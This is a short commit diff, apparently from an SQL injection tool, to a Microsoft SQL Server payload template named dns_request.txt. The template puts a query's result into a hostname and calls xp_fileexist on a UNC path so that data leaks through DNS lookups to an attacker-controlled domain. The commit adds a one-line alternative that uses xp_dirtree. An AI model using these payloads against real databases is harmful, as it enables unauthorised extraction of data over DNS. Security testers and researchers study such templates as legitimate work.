Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 46cfa64

Browse files
committed
minor update
1 parent 5f94987 commit 46cfa64

1 file changed

Lines changed: 1 addition & 0 deletions

File tree

procs/mssqlserver/dns_request.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
11
DECLARE @host varchar(1024);
22
SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%';
33
EXEC('xp_fileexist "\\' + @host + '\c$boot.ini"');
4+
# or EXEC('xp_dirtree "\\' + @host + '."');

0 commit comments

Comments
 (0)